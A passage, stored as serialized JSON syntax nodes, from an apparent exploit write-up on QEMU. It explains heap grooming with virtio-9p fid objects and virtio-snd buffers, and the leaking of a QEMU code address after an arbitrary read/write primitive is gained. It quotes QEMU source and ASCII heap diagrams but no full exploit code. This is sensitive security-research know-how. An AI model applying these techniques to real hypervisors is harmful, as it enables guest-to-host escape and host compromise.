",{"type":23,"tag":64,"props":127347,"children":127349},{"className":127348},[],[127350],{"type":28,"value":126139},{"type":28,"value":8478},{"type":23,"tag":64,"props":127353,"children":127355},{"className":127354},[],[127356],{"type":28,"value":126131},{"type":28,"value":199},{"type":23,"tag":24,"props":127359,"children":127360},{},[127361,127363,127368,127369,127374,127376,127381,127383,127389,127391,127396,127398,127403,127405,127410,127412,127417,127419,127424],{"type":28,"value":127362},"At this point, ",{"type":23,"tag":64,"props":127364,"children":127366},{"className":127365},[],[127367],{"type":28,"value":126877},{"type":28,"value":12933},{"type":23,"tag":64,"props":127370,"children":127372},{"className":127371},[],[127373],{"type":28,"value":125346},{"type":28,"value":127375}," chunk, while ",{"type":23,"tag":64,"props":127377,"children":127379},{"className":127378},[],[127380],{"type":28,"value":127308},{"type":28,"value":127382}," falls into the ",{"type":23,"tag":64,"props":127384,"children":127386},{"className":127385},[],[127387],{"type":28,"value":127388},"0x120",{"type":28,"value":127390}," size class. Before freeing ",{"type":23,"tag":64,"props":127392,"children":127394},{"className":127393},[],[127395],{"type":28,"value":126877},{"type":28,"value":127397},", we therefore use the oversized ",{"type":23,"tag":64,"props":127399,"children":127401},{"className":127400},[],[127402],{"type":28,"value":126885},{"type":28,"value":127404}," chunk to change its size to match ",{"type":23,"tag":64,"props":127406,"children":127408},{"className":127407},[],[127409],{"type":28,"value":127308},{"type":28,"value":127411},". Once ",{"type":23,"tag":64,"props":127413,"children":127415},{"className":127414},[],[127416],{"type":28,"value":126877},{"type":28,"value":127418}," is freed, it is inserted into the ",{"type":23,"tag":64,"props":127420,"children":127422},{"className":127421},[],[127423],{"type":28,"value":127388},{"type":28,"value":127425}," tcache bin.",{"type":23,"tag":435,"props":127427,"children":127429},{"code":127428}," .value Y extended\n |\n+--------------------+--------------------+\n| |\n| Free |\nv 0x120 v\n+--------------------+---------------+----+\n| |...............| |\n| .value Y |...............| |\n| |...............| |\n+--------------------+---------------+----+\n",[127430],{"type":23,"tag":64,"props":127431,"children":127432},{"__ignoreMap":7},[127433],{"type":28,"value":127428},{"type":23,"tag":24,"props":127435,"children":127436},{},[127437,127439,127444,127446,127452,127454,127460,127462,127467],{"type":28,"value":127438},"After that, we can simply allocate a new ",{"type":23,"tag":64,"props":127440,"children":127442},{"className":127441},[],[127443],{"type":28,"value":127308},{"type":28,"value":127445}," with a ",{"type":23,"tag":64,"props":127447,"children":127449},{"className":127448},[],[127450],{"type":28,"value":127451},"P9_TWALK",{"type":28,"value":127453}," request and a fresh FID - this reaches ",{"type":23,"tag":64,"props":127455,"children":127457},{"className":127456},[],[127458],{"type":28,"value":127459},"alloc_fid",{"type":28,"value":127461},", which allocates a new ",{"type":23,"tag":64,"props":127463,"children":127465},{"className":127464},[],[127466],{"type":28,"value":127308},{"type":28,"value":287},{"type":23,"tag":435,"props":127469,"children":127471},{"code":127470,"language":661,"meta":7,"className":14005,"style":7},"static void coroutine_fn v9fs_walk(void *opaque)\n{\n V9fsFidState *fidp;\n V9fsFidState *newfidp = NULL;\n\n [...]\n\n if (fid == newfid) {\n [...]\n } else {\n newfidp = alloc_fid(s, newfid);\n if (newfidp == NULL) {\n err = -EINVAL;\n goto out;\n }\n newfidp->uid = fidp->uid;\n v9fs_path_copy(&newfidp->path, &path);\n }\n\n [...]\n}\n\nstatic V9fsFidState *alloc_fid(V9fsState *s, int32_t fid)\n{\n V9fsFidState *f;\n\n f = g_hash_table_lookup(s->fids, GINT_TO_POINTER(fid));\n if (f) {\n /* If fid is already there return NULL */\n BUG_ON(f->clunked);\n return NULL;\n }\n f = g_new0(V9fsFidState, 1);\n\n [...]\n",[127472],{"type":23,"tag":64,"props":127473,"children":127474},{"__ignoreMap":7},[127475,127515,127522,127538,127566,127573,127580,127587,127608,127615,127630,127652,127676,127697,127708,127715,127753,127795,127802,127809,127816,127823,127830,127881,127888,127903,127910,127958,127970,127978,128007,128022,128029,128058,128065],{"type":23,"tag":481,"props":127476,"children":127477},{"class":483,"line":484},[127478,127482,127486,127490,127495,127499,127503,127507,127511],{"type":23,"tag":481,"props":127479,"children":127480},{"style":497},[127481],{"type":28,"value":48570},{"type":23,"tag":481,"props":127483,"children":127484},{"style":497},[127485],{"type":28,"value":48575},{"type":23,"tag":481,"props":127487,"children":127488},{"style":525},[127489],{"type":28,"value":125476},{"type":23,"tag":481,"props":127491,"children":127492},{"style":610},[127493],{"type":28,"value":127494},"v9fs_walk",{"type":23,"tag":481,"props":127496,"children":127497},{"style":525},[127498],{"type":28,"value":618},{"type":23,"tag":481,"props":127500,"children":127501},{"style":497},[127502],{"type":28,"value":49153},{"type":23,"tag":481,"props":127504,"children":127505},{"style":514},[127506],{"type":28,"value":7301},{"type":23,"tag":481,"props":127508,"children":127509},{"style":508},[127510],{"type":28,"value":125498},{"type":23,"tag":481,"props":127512,"children":127513},{"style":525},[127514],{"type":28,"value":675},{"type":23,"tag":481,"props":127516,"children":127517},{"class":483,"line":351},[127518],{"type":23,"tag":481,"props":127519,"children":127520},{"style":525},[127521],{"type":28,"value":8366},{"type":23,"tag":481,"props":127523,"children":127524},{"class":483,"line":531},[127525,127529,127533],{"type":23,"tag":481,"props":127526,"children":127527},{"style":525},[127528],{"type":28,"value":125623},{"type":23,"tag":481,"props":127530,"children":127531},{"style":514},[127532],{"type":28,"value":2120},{"type":23,"tag":481,"props":127534,"children":127535},{"style":525},[127536],{"type":28,"value":127537},"fidp;\n",{"type":23,"tag":481,"props":127539,"children":127540},{"class":483,"line":567},[127541,127545,127549,127554,127558,127562],{"type":23,"tag":481,"props":127542,"children":127543},{"style":525},[127544],{"type":28,"value":125623},{"type":23,"tag":481,"props":127546,"children":127547},{"style":514},[127548],{"type":28,"value":2120},{"type":23,"tag":481,"props":127550,"children":127551},{"style":525},[127552],{"type":28,"value":127553},"newfidp ",{"type":23,"tag":481,"props":127555,"children":127556},{"style":514},[127557],{"type":28,"value":603},{"type":23,"tag":481,"props":127559,"children":127560},{"style":497},[127561],{"type":28,"value":125302},{"type":23,"tag":481,"props":127563,"children":127564},{"style":525},[127565],{"type":28,"value":528},{"type":23,"tag":481,"props":127567,"children":127568},{"class":483,"line":678},[127569],{"type":23,"tag":481,"props":127570,"children":127571},{"emptyLinePlaceholder":15},[127572],{"type":28,"value":1210},{"type":23,"tag":481,"props":127574,"children":127575},{"class":483,"line":784},[127576],{"type":23,"tag":481,"props":127577,"children":127578},{"style":525},[127579],{"type":28,"value":102333},{"type":23,"tag":481,"props":127581,"children":127582},{"class":483,"line":812},[127583],{"type":23,"tag":481,"props":127584,"children":127585},{"emptyLinePlaceholder":15},[127586],{"type":28,"value":1210},{"type":23,"tag":481,"props":127588,"children":127589},{"class":483,"line":825},[127590,127594,127599,127603],{"type":23,"tag":481,"props":127591,"children":127592},{"style":535},[127593],{"type":28,"value":9766},{"type":23,"tag":481,"props":127595,"children":127596},{"style":525},[127597],{"type":28,"value":127598}," (fid ",{"type":23,"tag":481,"props":127600,"children":127601},{"style":514},[127602],{"type":28,"value":6055},{"type":23,"tag":481,"props":127604,"children":127605},{"style":525},[127606],{"type":28,"value":127607}," newfid) {\n",{"type":23,"tag":481,"props":127609,"children":127610},{"class":483,"line":843},[127611],{"type":23,"tag":481,"props":127612,"children":127613},{"style":525},[127614],{"type":28,"value":121571},{"type":23,"tag":481,"props":127616,"children":127617},{"class":483,"line":864},[127618,127622,127626],{"type":23,"tag":481,"props":127619,"children":127620},{"style":525},[127621],{"type":28,"value":13269},{"type":23,"tag":481,"props":127623,"children":127624},{"style":535},[127625],{"type":28,"value":836},{"type":23,"tag":481,"props":127627,"children":127628},{"style":525},[127629],{"type":28,"value":809},{"type":23,"tag":481,"props":127631,"children":127632},{"class":483,"line":873},[127633,127638,127642,127647],{"type":23,"tag":481,"props":127634,"children":127635},{"style":525},[127636],{"type":28,"value":127637}," newfidp ",{"type":23,"tag":481,"props":127639,"children":127640},{"style":514},[127641],{"type":28,"value":603},{"type":23,"tag":481,"props":127643,"children":127644},{"style":610},[127645],{"type":28,"value":127646}," alloc_fid",{"type":23,"tag":481,"props":127648,"children":127649},{"style":525},[127650],{"type":28,"value":127651},"(s, newfid);\n",{"type":23,"tag":481,"props":127653,"children":127654},{"class":483,"line":1125},[127655,127659,127664,127668,127672],{"type":23,"tag":481,"props":127656,"children":127657},{"style":535},[127658],{"type":28,"value":790},{"type":23,"tag":481,"props":127660,"children":127661},{"style":525},[127662],{"type":28,"value":127663}," (newfidp ",{"type":23,"tag":481,"props":127665,"children":127666},{"style":514},[127667],{"type":28,"value":6055},{"type":23,"tag":481,"props":127669,"children":127670},{"style":497},[127671],{"type":28,"value":125302},{"type":23,"tag":481,"props":127673,"children":127674},{"style":525},[127675],{"type":28,"value":12292},{"type":23,"tag":481,"props":127677,"children":127678},{"class":483,"line":1142},[127679,127684,127688,127692],{"type":23,"tag":481,"props":127680,"children":127681},{"style":525},[127682],{"type":28,"value":127683}," err ",{"type":23,"tag":481,"props":127685,"children":127686},{"style":514},[127687],{"type":28,"value":603},{"type":23,"tag":481,"props":127689,"children":127690},{"style":514},[127691],{"type":28,"value":48781},{"type":23,"tag":481,"props":127693,"children":127694},{"style":525},[127695],{"type":28,"value":127696},"EINVAL;\n",{"type":23,"tag":481,"props":127698,"children":127699},{"class":483,"line":1159},[127700,127704],{"type":23,"tag":481,"props":127701,"children":127702},{"style":535},[127703],{"type":28,"value":58077},{"type":23,"tag":481,"props":127705,"children":127706},{"style":525},[127707],{"type":28,"value":58082},{"type":23,"tag":481,"props":127709,"children":127710},{"class":483,"line":1172},[127711],{"type":23,"tag":481,"props":127712,"children":127713},{"style":525},[127714],{"type":28,"value":870},{"type":23,"tag":481,"props":127716,"children":127717},{"class":483,"line":1181},[127718,127723,127727,127732,127736,127741,127745,127749],{"type":23,"tag":481,"props":127719,"children":127720},{"style":508},[127721],{"type":28,"value":127722}," newfidp",{"type":23,"tag":481,"props":127724,"children":127725},{"style":525},[127726],{"type":28,"value":11245},{"type":23,"tag":481,"props":127728,"children":127729},{"style":508},[127730],{"type":28,"value":127731},"uid",{"type":23,"tag":481,"props":127733,"children":127734},{"style":514},[127735],{"type":28,"value":517},{"type":23,"tag":481,"props":127737,"children":127738},{"style":508},[127739],{"type":28,"value":127740}," fidp",{"type":23,"tag":481,"props":127742,"children":127743},{"style":525},[127744],{"type":28,"value":11245},{"type":23,"tag":481,"props":127746,"children":127747},{"style":508},[127748],{"type":28,"value":127731},{"type":23,"tag":481,"props":127750,"children":127751},{"style":525},[127752],{"type":28,"value":528},{"type":23,"tag":481,"props":127754,"children":127755},{"class":483,"line":1204},[127756,127761,127765,127769,127774,127778,127782,127786,127790],{"type":23,"tag":481,"props":127757,"children":127758},{"style":610},[127759],{"type":28,"value":127760}," v9fs_path_copy",{"type":23,"tag":481,"props":127762,"children":127763},{"style":525},[127764],{"type":28,"value":618},{"type":23,"tag":481,"props":127766,"children":127767},{"style":514},[127768],{"type":28,"value":623},{"type":23,"tag":481,"props":127770,"children":127771},{"style":508},[127772],{"type":28,"value":127773},"newfidp",{"type":23,"tag":481,"props":127775,"children":127776},{"style":525},[127777],{"type":28,"value":11245},{"type":23,"tag":481,"props":127779,"children":127780},{"style":508},[127781],{"type":28,"value":109856},{"type":23,"tag":481,"props":127783,"children":127784},{"style":525},[127785],{"type":28,"value":588},{"type":23,"tag":481,"props":127787,"children":127788},{"style":514},[127789],{"type":28,"value":623},{"type":23,"tag":481,"props":127791,"children":127792},{"style":525},[127793],{"type":28,"value":127794},"path);\n",{"type":23,"tag":481,"props":127796,"children":127797},{"class":483,"line":1213},[127798],{"type":23,"tag":481,"props":127799,"children":127800},{"style":525},[127801],{"type":28,"value":879},{"type":23,"tag":481,"props":127803,"children":127804},{"class":483,"line":1222},[127805],{"type":23,"tag":481,"props":127806,"children":127807},{"emptyLinePlaceholder":15},[127808],{"type":28,"value":1210},{"type":23,"tag":481,"props":127810,"children":127811},{"class":483,"line":1291},[127812],{"type":23,"tag":481,"props":127813,"children":127814},{"style":525},[127815],{"type":28,"value":102333},{"type":23,"tag":481,"props":127817,"children":127818},{"class":483,"line":1299},[127819],{"type":23,"tag":481,"props":127820,"children":127821},{"style":525},[127822],{"type":28,"value":1443},{"type":23,"tag":481,"props":127824,"children":127825},{"class":483,"line":1329},[127826],{"type":23,"tag":481,"props":127827,"children":127828},{"emptyLinePlaceholder":15},[127829],{"type":28,"value":1210},{"type":23,"tag":481,"props":127831,"children":127832},{"class":483,"line":1337},[127833,127837,127842,127846,127850,127855,127859,127863,127867,127872,127877],{"type":23,"tag":481,"props":127834,"children":127835},{"style":497},[127836],{"type":28,"value":48570},{"type":23,"tag":481,"props":127838,"children":127839},{"style":525},[127840],{"type":28,"value":127841}," V9fsFidState ",{"type":23,"tag":481,"props":127843,"children":127844},{"style":514},[127845],{"type":28,"value":2120},{"type":23,"tag":481,"props":127847,"children":127848},{"style":610},[127849],{"type":28,"value":127459},{"type":23,"tag":481,"props":127851,"children":127852},{"style":525},[127853],{"type":28,"value":127854},"(V9fsState ",{"type":23,"tag":481,"props":127856,"children":127857},{"style":514},[127858],{"type":28,"value":2120},{"type":23,"tag":481,"props":127860,"children":127861},{"style":508},[127862],{"type":28,"value":8137},{"type":23,"tag":481,"props":127864,"children":127865},{"style":525},[127866],{"type":28,"value":588},{"type":23,"tag":481,"props":127868,"children":127869},{"style":497},[127870],{"type":28,"value":127871},"int32_t",{"type":23,"tag":481,"props":127873,"children":127874},{"style":508},[127875],{"type":28,"value":127876}," fid",{"type":23,"tag":481,"props":127878,"children":127879},{"style":525},[127880],{"type":28,"value":675},{"type":23,"tag":481,"props":127882,"children":127883},{"class":483,"line":1369},[127884],{"type":23,"tag":481,"props":127885,"children":127886},{"style":525},[127887],{"type":28,"value":8366},{"type":23,"tag":481,"props":127889,"children":127890},{"class":483,"line":1377},[127891,127895,127899],{"type":23,"tag":481,"props":127892,"children":127893},{"style":525},[127894],{"type":28,"value":125623},{"type":23,"tag":481,"props":127896,"children":127897},{"style":514},[127898],{"type":28,"value":2120},{"type":23,"tag":481,"props":127900,"children":127901},{"style":525},[127902],{"type":28,"value":48691},{"type":23,"tag":481,"props":127904,"children":127905},{"class":483,"line":1437},[127906],{"type":23,"tag":481,"props":127907,"children":127908},{"emptyLinePlaceholder":15},[127909],{"type":28,"value":1210},{"type":23,"tag":481,"props":127911,"children":127912},{"class":483,"line":6528},[127913,127918,127922,127927,127931,127935,127939,127944,127948,127953],{"type":23,"tag":481,"props":127914,"children":127915},{"style":525},[127916],{"type":28,"value":127917}," f ",{"type":23,"tag":481,"props":127919,"children":127920},{"style":514},[127921],{"type":28,"value":603},{"type":23,"tag":481,"props":127923,"children":127924},{"style":610},[127925],{"type":28,"value":127926}," g_hash_table_lookup",{"type":23,"tag":481,"props":127928,"children":127929},{"style":525},[127930],{"type":28,"value":618},{"type":23,"tag":481,"props":127932,"children":127933},{"style":508},[127934],{"type":28,"value":8137},{"type":23,"tag":481,"props":127936,"children":127937},{"style":525},[127938],{"type":28,"value":11245},{"type":23,"tag":481,"props":127940,"children":127941},{"style":508},[127942],{"type":28,"value":127943},"fids",{"type":23,"tag":481,"props":127945,"children":127946},{"style":525},[127947],{"type":28,"value":588},{"type":23,"tag":481,"props":127949,"children":127950},{"style":610},[127951],{"type":28,"value":127952},"GINT_TO_POINTER",{"type":23,"tag":481,"props":127954,"children":127955},{"style":525},[127956],{"type":28,"value":127957},"(fid));\n",{"type":23,"tag":481,"props":127959,"children":127960},{"class":483,"line":6546},[127961,127965],{"type":23,"tag":481,"props":127962,"children":127963},{"style":535},[127964],{"type":28,"value":9766},{"type":23,"tag":481,"props":127966,"children":127967},{"style":525},[127968],{"type":28,"value":127969}," (f) {\n",{"type":23,"tag":481,"props":127971,"children":127972},{"class":483,"line":6591},[127973],{"type":23,"tag":481,"props":127974,"children":127975},{"style":488},[127976],{"type":28,"value":127977}," /* If fid is already there return NULL */\n",{"type":23,"tag":481,"props":127979,"children":127980},{"class":483,"line":6697},[127981,127986,127990,127994,127998,128003],{"type":23,"tag":481,"props":127982,"children":127983},{"style":610},[127984],{"type":28,"value":127985}," BUG_ON",{"type":23,"tag":481,"props":127987,"children":127988},{"style":525},[127989],{"type":28,"value":618},{"type":23,"tag":481,"props":127991,"children":127992},{"style":508},[127993],{"type":28,"value":30601},{"type":23,"tag":481,"props":127995,"children":127996},{"style":525},[127997],{"type":28,"value":11245},{"type":23,"tag":481,"props":127999,"children":128000},{"style":508},[128001],{"type":28,"value":128002},"clunked",{"type":23,"tag":481,"props":128004,"children":128005},{"style":525},[128006],{"type":28,"value":1366},{"type":23,"tag":481,"props":128008,"children":128009},{"class":483,"line":21008},[128010,128014,128018],{"type":23,"tag":481,"props":128011,"children":128012},{"style":535},[128013],{"type":28,"value":13234},{"type":23,"tag":481,"props":128015,"children":128016},{"style":497},[128017],{"type":28,"value":125302},{"type":23,"tag":481,"props":128019,"children":128020},{"style":525},[128021],{"type":28,"value":528},{"type":23,"tag":481,"props":128023,"children":128024},{"class":483,"line":21043},[128025],{"type":23,"tag":481,"props":128026,"children":128027},{"style":525},[128028],{"type":28,"value":879},{"type":23,"tag":481,"props":128030,"children":128031},{"class":483,"line":21051},[128032,128036,128040,128045,128050,128054],{"type":23,"tag":481,"props":128033,"children":128034},{"style":525},[128035],{"type":28,"value":127917},{"type":23,"tag":481,"props":128037,"children":128038},{"style":514},[128039],{"type":28,"value":603},{"type":23,"tag":481,"props":128041,"children":128042},{"style":610},[128043],{"type":28,"value":128044}," g_new0",{"type":23,"tag":481,"props":128046,"children":128047},{"style":525},[128048],{"type":28,"value":128049},"(V9fsFidState, ",{"type":23,"tag":481,"props":128051,"children":128052},{"style":551},[128053],{"type":28,"value":1558},{"type":23,"tag":481,"props":128055,"children":128056},{"style":525},[128057],{"type":28,"value":1366},{"type":23,"tag":481,"props":128059,"children":128060},{"class":483,"line":21059},[128061],{"type":23,"tag":481,"props":128062,"children":128063},{"emptyLinePlaceholder":15},[128064],{"type":28,"value":1210},{"type":23,"tag":481,"props":128066,"children":128067},{"class":483,"line":21068},[128068],{"type":23,"tag":481,"props":128069,"children":128070},{"style":525},[128071],{"type":28,"value":102333},{"type":23,"tag":24,"props":128073,"children":128074},{},[128075,128077,128082],{"type":28,"value":128076},"After it is allocated, it will be placed into that freed region in place of the old ",{"type":23,"tag":64,"props":128078,"children":128080},{"className":128079},[],[128081],{"type":28,"value":126877},{"type":28,"value":126214},{"type":23,"tag":435,"props":128084,"children":128086},{"code":128085}," .value Y extended\n |\n+--------------------+--------------------+\n| |\n| |\nv v\n+--------------------+---------------+----+\n| | |....|\n| .value Y | V9fsFidState |....|\n| | |....|\n+--------------------+---------------+----+\n",[128087],{"type":23,"tag":64,"props":128088,"children":128089},{"__ignoreMap":7},[128090],{"type":28,"value":128085},{"type":23,"tag":16388,"props":128092,"children":128094},{"id":128093},"leaking-a-qemu-address",[128095],{"type":28,"value":128096},"Leaking a QEMU Address",{"type":23,"tag":24,"props":128098,"children":128099},{},[128100],{"type":28,"value":128101},"We now have an arbitrary read/write primitive and a controlled chunk at a known address. The next step is to leak a QEMU code address so we can later redirect execution. To do this, we combine the arbitrary read primitive with the known-address chunk: we free that chunk, replace it with an object that contains pointers into QEMU's code or data, and then use arbitrary read to leak its fields.",{"type":23,"tag":24,"props":128103,"children":128104},{},[128105,128107,128112],{"type":28,"value":128106},"For this, we go back to virtio-snd and its buffer allocations. Recall ",{"type":23,"tag":64,"props":128108,"children":128110},{"className":128109},[],[128111],{"type":28,"value":121297},{"type":28,"value":287},{"type":23,"tag":435,"props":128114,"children":128116},{"code":128115,"language":661,"meta":7,"className":14005,"style":7},"static void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n VirtIOSound *vsnd = VIRTIO_SND(vdev);\n VirtIOSoundPCMBuffer *buffer;\n VirtQueueElement *elem;\n size_t msg_sz, size;\n uint32_t stream_id;\n\n [...]\n\n for (;;) {\n VirtIOSoundPCMStream *stream;\n\n elem = virtqueue_pop(vq, sizeof(VirtQueueElement));\n if (!elem) {\n break;\n }\n /* get the message hdr object */\n msg_sz = iov_to_buf(elem->out_sg,\n elem->out_num,\n 0,\n &hdr,\n sizeof(virtio_snd_pcm_xfer));\n if (msg_sz != sizeof(virtio_snd_pcm_xfer)) {\n goto rx_err;\n }\n stream_id = le32_to_cpu(hdr.stream_id);\n\n [...]\n\n WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n size = iov_size(elem->in_sg, elem->in_num) -\n sizeof(virtio_snd_pcm_status);\n buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size); // [1]\n buffer->elem = elem;\n buffer->vq = vq; // [2]\n buffer->size = 0;\n buffer->offset = 0;\n QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry);\n }\n",[128117],{"type":23,"tag":64,"props":128118,"children":128119},{"__ignoreMap":7},[128120,128163,128170,128201,128216,128231,128243,128256,128263,128270,128277,128288,128303,128310,128338,128357,128368,128375,128383,128420,128441,128453,128466,128479,128505,128517,128524,128562,128569,128576,128583,128614,128669,128681,128722,128745,128774,128801,128828,128860],{"type":23,"tag":481,"props":128121,"children":128122},{"class":483,"line":484},[128123,128127,128131,128135,128139,128143,128147,128151,128155,128159],{"type":23,"tag":481,"props":128124,"children":128125},{"style":497},[128126],{"type":28,"value":48570},{"type":23,"tag":481,"props":128128,"children":128129},{"style":497},[128130],{"type":28,"value":48575},{"type":23,"tag":481,"props":128132,"children":128133},{"style":610},[128134],{"type":28,"value":121376},{"type":23,"tag":481,"props":128136,"children":128137},{"style":525},[128138],{"type":28,"value":121381},{"type":23,"tag":481,"props":128140,"children":128141},{"style":514},[128142],{"type":28,"value":2120},{"type":23,"tag":481,"props":128144,"children":128145},{"style":508},[128146],{"type":28,"value":121390},{"type":23,"tag":481,"props":128148,"children":128149},{"style":525},[128150],{"type":28,"value":121395},{"type":23,"tag":481,"props":128152,"children":128153},{"style":514},[128154],{"type":28,"value":2120},{"type":23,"tag":481,"props":128156,"children":128157},{"style":508},[128158],{"type":28,"value":121404},{"type":23,"tag":481,"props":128160,"children":128161},{"style":525},[128162],{"type":28,"value":675},{"type":23,"tag":481,"props":128164,"children":128165},{"class":483,"line":351},[128166],{"type":23,"tag":481,"props":128167,"children":128168},{"style":525},[128169],{"type":28,"value":8366},{"type":23,"tag":481,"props":128171,"children":128172},{"class":483,"line":531},[128173,128178,128182,128187,128191,128196],{"type":23,"tag":481,"props":128174,"children":128175},{"style":525},[128176],{"type":28,"value":128177}," VirtIOSound ",{"type":23,"tag":481,"props":128179,"children":128180},{"style":514},[128181],{"type":28,"value":2120},{"type":23,"tag":481,"props":128183,"children":128184},{"style":525},[128185],{"type":28,"value":128186},"vsnd ",{"type":23,"tag":481,"props":128188,"children":128189},{"style":514},[128190],{"type":28,"value":603},{"type":23,"tag":481,"props":128192,"children":128193},{"style":610},[128194],{"type":28,"value":128195}," VIRTIO_SND",{"type":23,"tag":481,"props":128197,"children":128198},{"style":525},[128199],{"type":28,"value":128200},"(vdev);\n",{"type":23,"tag":481,"props":128202,"children":128203},{"class":483,"line":567},[128204,128208,128212],{"type":23,"tag":481,"props":128205,"children":128206},{"style":525},[128207],{"type":28,"value":122394},{"type":23,"tag":481,"props":128209,"children":128210},{"style":514},[128211],{"type":28,"value":2120},{"type":23,"tag":481,"props":128213,"children":128214},{"style":525},[128215],{"type":28,"value":122403},{"type":23,"tag":481,"props":128217,"children":128218},{"class":483,"line":678},[128219,128223,128227],{"type":23,"tag":481,"props":128220,"children":128221},{"style":525},[128222],{"type":28,"value":121423},{"type":23,"tag":481,"props":128224,"children":128225},{"style":514},[128226],{"type":28,"value":2120},{"type":23,"tag":481,"props":128228,"children":128229},{"style":525},[128230],{"type":28,"value":121432},{"type":23,"tag":481,"props":128232,"children":128233},{"class":483,"line":784},[128234,128238],{"type":23,"tag":481,"props":128235,"children":128236},{"style":497},[128237],{"type":28,"value":14055},{"type":23,"tag":481,"props":128239,"children":128240},{"style":525},[128241],{"type":28,"value":128242}," msg_sz, size;\n",{"type":23,"tag":481,"props":128244,"children":128245},{"class":483,"line":812},[128246,128251],{"type":23,"tag":481,"props":128247,"children":128248},{"style":497},[128249],{"type":28,"value":128250}," uint32_t",{"type":23,"tag":481,"props":128252,"children":128253},{"style":525},[128254],{"type":28,"value":128255}," stream_id;\n",{"type":23,"tag":481,"props":128257,"children":128258},{"class":483,"line":825},[128259],{"type":23,"tag":481,"props":128260,"children":128261},{"emptyLinePlaceholder":15},[128262],{"type":28,"value":1210},{"type":23,"tag":481,"props":128264,"children":128265},{"class":483,"line":843},[128266],{"type":23,"tag":481,"props":128267,"children":128268},{"style":525},[128269],{"type":28,"value":102333},{"type":23,"tag":481,"props":128271,"children":128272},{"class":483,"line":864},[128273],{"type":23,"tag":481,"props":128274,"children":128275},{"emptyLinePlaceholder":15},[128276],{"type":28,"value":1210},{"type":23,"tag":481,"props":128278,"children":128279},{"class":483,"line":873},[128280,128284],{"type":23,"tag":481,"props":128281,"children":128282},{"style":535},[128283],{"type":28,"value":538},{"type":23,"tag":481,"props":128285,"children":128286},{"style":525},[128287],{"type":28,"value":121458},{"type":23,"tag":481,"props":128289,"children":128290},{"class":483,"line":1125},[128291,128295,128299],{"type":23,"tag":481,"props":128292,"children":128293},{"style":525},[128294],{"type":28,"value":121466},{"type":23,"tag":481,"props":128296,"children":128297},{"style":514},[128298],{"type":28,"value":2120},{"type":23,"tag":481,"props":128300,"children":128301},{"style":525},[128302],{"type":28,"value":121475},{"type":23,"tag":481,"props":128304,"children":128305},{"class":483,"line":1142},[128306],{"type":23,"tag":481,"props":128307,"children":128308},{"emptyLinePlaceholder":15},[128309],{"type":28,"value":1210},{"type":23,"tag":481,"props":128311,"children":128312},{"class":483,"line":1159},[128313,128317,128321,128325,128329,128333],{"type":23,"tag":481,"props":128314,"children":128315},{"style":525},[128316],{"type":28,"value":121490},{"type":23,"tag":481,"props":128318,"children":128319},{"style":514},[128320],{"type":28,"value":603},{"type":23,"tag":481,"props":128322,"children":128323},{"style":610},[128324],{"type":28,"value":121499},{"type":23,"tag":481,"props":128326,"children":128327},{"style":525},[128328],{"type":28,"value":121504},{"type":23,"tag":481,"props":128330,"children":128331},{"style":497},[128332],{"type":28,"value":52854},{"type":23,"tag":481,"props":128334,"children":128335},{"style":525},[128336],{"type":28,"value":128337},"(VirtQueueElement));\n",{"type":23,"tag":481,"props":128339,"children":128340},{"class":483,"line":1172},[128341,128345,128349,128353],{"type":23,"tag":481,"props":128342,"children":128343},{"style":535},[128344],{"type":28,"value":790},{"type":23,"tag":481,"props":128346,"children":128347},{"style":525},[128348],{"type":28,"value":578},{"type":23,"tag":481,"props":128350,"children":128351},{"style":514},[128352],{"type":28,"value":18119},{"type":23,"tag":481,"props":128354,"children":128355},{"style":525},[128356],{"type":28,"value":121538},{"type":23,"tag":481,"props":128358,"children":128359},{"class":483,"line":1181},[128360,128364],{"type":23,"tag":481,"props":128361,"children":128362},{"style":535},[128363],{"type":28,"value":818},{"type":23,"tag":481,"props":128365,"children":128366},{"style":525},[128367],{"type":28,"value":528},{"type":23,"tag":481,"props":128369,"children":128370},{"class":483,"line":1204},[128371],{"type":23,"tag":481,"props":128372,"children":128373},{"style":525},[128374],{"type":28,"value":870},{"type":23,"tag":481,"props":128376,"children":128377},{"class":483,"line":1213},[128378],{"type":23,"tag":481,"props":128379,"children":128380},{"style":488},[128381],{"type":28,"value":128382}," /* get the message hdr object */\n",{"type":23,"tag":481,"props":128384,"children":128385},{"class":483,"line":1222},[128386,128391,128395,128400,128404,128408,128412,128416],{"type":23,"tag":481,"props":128387,"children":128388},{"style":525},[128389],{"type":28,"value":128390}," msg_sz ",{"type":23,"tag":481,"props":128392,"children":128393},{"style":514},[128394],{"type":28,"value":603},{"type":23,"tag":481,"props":128396,"children":128397},{"style":610},[128398],{"type":28,"value":128399}," iov_to_buf",{"type":23,"tag":481,"props":128401,"children":128402},{"style":525},[128403],{"type":28,"value":618},{"type":23,"tag":481,"props":128405,"children":128406},{"style":508},[128407],{"type":28,"value":49590},{"type":23,"tag":481,"props":128409,"children":128410},{"style":525},[128411],{"type":28,"value":11245},{"type":23,"tag":481,"props":128413,"children":128414},{"style":508},[128415],{"type":28,"value":121942},{"type":23,"tag":481,"props":128417,"children":128418},{"style":525},[128419],{"type":28,"value":1033},{"type":23,"tag":481,"props":128421,"children":128422},{"class":483,"line":1291},[128423,128428,128432,128437],{"type":23,"tag":481,"props":128424,"children":128425},{"style":508},[128426],{"type":28,"value":128427}," elem",{"type":23,"tag":481,"props":128429,"children":128430},{"style":525},[128431],{"type":28,"value":11245},{"type":23,"tag":481,"props":128433,"children":128434},{"style":508},[128435],{"type":28,"value":128436},"out_num",{"type":23,"tag":481,"props":128438,"children":128439},{"style":525},[128440],{"type":28,"value":1033},{"type":23,"tag":481,"props":128442,"children":128443},{"class":483,"line":1299},[128444,128449],{"type":23,"tag":481,"props":128445,"children":128446},{"style":551},[128447],{"type":28,"value":128448}," 0",{"type":23,"tag":481,"props":128450,"children":128451},{"style":525},[128452],{"type":28,"value":1033},{"type":23,"tag":481,"props":128454,"children":128455},{"class":483,"line":1329},[128456,128461],{"type":23,"tag":481,"props":128457,"children":128458},{"style":514},[128459],{"type":28,"value":128460}," &",{"type":23,"tag":481,"props":128462,"children":128463},{"style":525},[128464],{"type":28,"value":128465},"hdr,\n",{"type":23,"tag":481,"props":128467,"children":128468},{"class":483,"line":1337},[128469,128474],{"type":23,"tag":481,"props":128470,"children":128471},{"style":497},[128472],{"type":28,"value":128473}," 